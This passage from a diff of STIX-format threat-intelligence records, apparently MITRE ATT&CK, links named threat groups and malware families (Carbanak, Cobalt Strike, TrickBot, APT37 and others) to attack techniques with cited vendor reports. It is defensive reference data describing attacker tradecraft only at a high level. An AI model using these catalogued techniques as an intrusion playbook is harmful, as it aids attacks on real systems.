"attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T19:59:27.098Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.042Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0f797ce-9176-4b74-8d64-fad4e1bdef4f", + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RTM](https://attack.mitre.org/software/S0148) encrypts C2 traffic with a custom RC4 variant.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--87fb2671-e71a-4630-bde2-67e546fdeaa6", + "external_references": [ + { + "source_name": "ESET RTM Feb 2017", + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) drops files with base64-encoded data.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b2c30efb-b4ed-48d7-984e-7e6af4ee15b3", + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.229Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. The ASPXTool version used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) has been deployed to accessible servers running Internet Information Services (IIS).", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--660d09ce-8722-42b3-8503-911dff37bf22", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", + "relationship_type": "uses", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125)'s network loader encrypts C2 traffic with RSA and RC6.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1fe4be95-b162-4fc7-a3c9-4277547ea722", + "external_references": [ + { + "source_name": "Symantec Remsec IOCs", + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can SSH to a remote service.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66eb9cc1-4eb4-4b84-8140-bd48da33e93d", + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "modified": "2019-06-06T19:04:39.334Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve OS name/architecture and computer/domain name information from compromised hosts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4e88ec20-d309-440d-a685-0d2abdc1d7ef", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-04-22T22:36:53.015Z", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can uninstall malware components using a batch script. Additionally, a malicious Word document used for delivery uses VBA macros for execution.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ccd237b6-c7d6-4941-a1f2-cb563ae90b79", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of active and listening connections by using the command netstat -nao as well as a list of available network mappings with net use.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c195f2cb-deff-400e-b89e-8625deaa9817", + "external_references": [ + { + "source_name": "Symantec Orangeworm April 2018", + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hikit](https://attack.mitre.org/software/S0009) performs XOR encryption.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2c29e6cf-a177-4578-bf1f-fd73ae254edd", + "external_references": [ + { + "source_name": "Novetta-Axiom", + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) is capable of enumerating and making modifications to an infected system's Registry.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--564de5da-7ecc-45c7-bbd5-619a8f316f70", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) has created password-protected RAR, WinImage, and zip archives to be exfiltrated.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--948d9203-f418-4cf6-9618-e1e89f1ef2bb", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "relationship_type": "uses", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TA459](https://attack.mitre.org/groups/G0062) has attempted to get victims to open malicious Microsoft Word attachment sent via spearphishing.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--993e37d1-b81c-47d7-9063-216446271e07", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "modified": "2019-03-25T17:00:47.385Z", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Remsec](https://attack.mitre.org/software/S0125) loader implements itself with the name Security Support Provider, a legitimate Windows function. Various [Remsec](https://attack.mitre.org/software/S0125) .exe files mimic legitimate file names used by Microsoft, Symantec, Kaspersky, Hewlett-Packard, and VMWare. [Remsec](https://attack.mitre.org/software/S0125) also disguised malicious modules using similar filenames as custom network encryption software on victims.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--48b75b8b-5bef-4f99-baa8-5fa978d371d2", + "external_references": [ + { + "source_name": "Symantec Remsec IOCs", + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "source_name": "Kaspersky ProjectSauron Full Report", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Downdelph](https://attack.mitre.org/software/S0134) inserts pseudo-random characters between each original character during encoding of C2 network requests, making it difficult to write signatures on them.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0e27ebb3-2d48-48f6-ab99-968c0a992c61", + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "relationship_type": "uses", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of downloading files from the C2.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ae3be82b-3d54-4be8-939b-e074a2cea170", + "external_references": [ + { + "source_name": "Cylance Dust Storm", + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) runs the net view /domain and net view commands.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9dfdcec6-82b7-42a4-902a-3220f4d67bcf", + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.057Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) infected victims using JavaScript code.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cd45bd64-3793-49e7-82d0-9cdabf417d61", + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "modified": "2019-03-25T14:12:13.470Z", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "C2 traffic for most [Threat Group-3390](https://attack.mitre.org/groups/G0027) tools occurs over Port Numbers 53, 80, and 443.", + "type": "relationship", + "created": "2017-05-31T21:33:27.061Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b1e7f787-2d43-442b-8bd1-4fa064f089b2", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "modified": "2019-07-14T21:15:55.226Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the victim username along with other account information (account type, description, full name, SID and status).", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bfb687f5-0c7d-4ac3-a295-26f1b96dc360", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.199Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files, and MAPIGET steals email still on Exchange servers that has not yet been archived.", + "type": "relationship", + "created": "2017-05-31T21:33:27.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--757bed64-558b-4ea7-84b9-b82d8b23f9b2", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.763Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects a list of install programs and services on the system\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d1f44e84-61cb-4a96-add8-d37a38369e43", + "external_references": [ + { + "source_name": "S2 Grupo TrickBot June 2017", + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + } + ], + "modified": "2019-06-24T19:15:06.564Z", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "relationship_type": "uses", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A variant of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts some C2 with 3DES and RSA.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--85a92b0f-f8c3-41a9-a1b3-cfbf8b442b39", + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) decodes Base64 strings and decrypts strings using a custom XOR algorithm.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d4240d9a-1499-4863-a654-a52a1dbf48b4", + "external_references": [ + { + "source_name": "Unit 42 RGDoor Jan 2018", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Calisto](https://attack.mitre.org/software/S0274) collects information on bookmarks from Google Chrome.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0fd71bed-d22f-44f8-aef2-4c5e55aca422", + "external_references": [ + { + "source_name": "Securelist Calisto July 2018", + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "relationship_type": "uses", + "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants use SSL to encrypt C2 communications.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a49ed7b1-8160-48ae-a65f-feeb4747c522", + "external_references": [ + { + "source_name": "US-CERT Volgmer Nov 2017", + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has access to destructive malware that is capable of overwriting a machine's Master Boot Record (MBR).", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fcb6fc55-8fa6-4ec7-a5a3-51de7dd90c1d", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:16.081Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) sends collected files back over same C2 channel.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ccf3e90-8099-4445-b39f-956d2807189b", + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + } + ], + "modified": "2019-07-26T22:56:58.355Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can capture screenshots.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d8a844bc-373b-44aa-831a-da33d1505ae3", + "external_references": [ + { + "source_name": "FireEye APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--4189a679-72ed-4a89-a57c-7f689712ecf8", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) has a command to create, set, copy, or delete a specified Registry key or value.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--66f5e718-f910-487f-852a-98a8d752b0ba", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Keydnap](https://attack.mitre.org/software/S0276) adds the setuid flag to a binary so it can easily elevate in the future.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": 